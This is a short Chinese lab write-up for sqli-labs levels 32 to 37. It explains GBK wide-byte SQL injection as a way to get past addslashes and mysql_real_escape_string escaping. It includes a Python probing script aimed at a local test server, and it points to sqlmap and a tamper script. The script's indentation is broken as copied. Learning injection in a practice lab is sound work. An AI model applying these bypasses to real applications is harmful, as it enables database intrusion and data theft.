less-32
过滤了单引号,双引号,斜杠,同时设置数据库为GBK编码,可以考虑宽字节注入,
当设置gbk编码后,遇到连续两个字节,都符合gbk取值范围,会自动解析为一个汉字。用脚本来测试下哪些符合
import requests
url1 = "http://127.0.0.1:81/Less-32/?id=1"
url2 = "'"
urlcode=[]
code="1234567890abcdef"
for word1 in code:
for word2 in code:
urlcode.append("%"+str(word1)+str(word2))
print(len(urlcode))for word3 in urlcode:
url=url1+word3+url2
res = requests.get(url=url)
if 'error' in res.content.decode("utf-8", "ignore"):
print(word3)
从%81到%fe都是符合的。
使用python自带tamper
less-33
与上一个思路相同,在特定符号前加斜杠,
预定义字符是:
- 单引号(’)
- 双引号(”)
- 反斜杠(\)
- NULL
相比上一个多了空格。根据之前的思路
使用上一个的tamper脚本同样可以因为GBK的问题绕过
less34
本关是post型的gbk注入
less-35
同样使用addslash函数,但是没有用单引号包裹
直接使用sqlmap进行注入
less-36
使用了mysql_real_escape_string处理,该函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- ‘
- “
- \x1a
但是mysql未被设置为GBK,依旧可以突破
less-37
与36关使用的函数相同,但是使用post方法来注入
直接使用sqlmap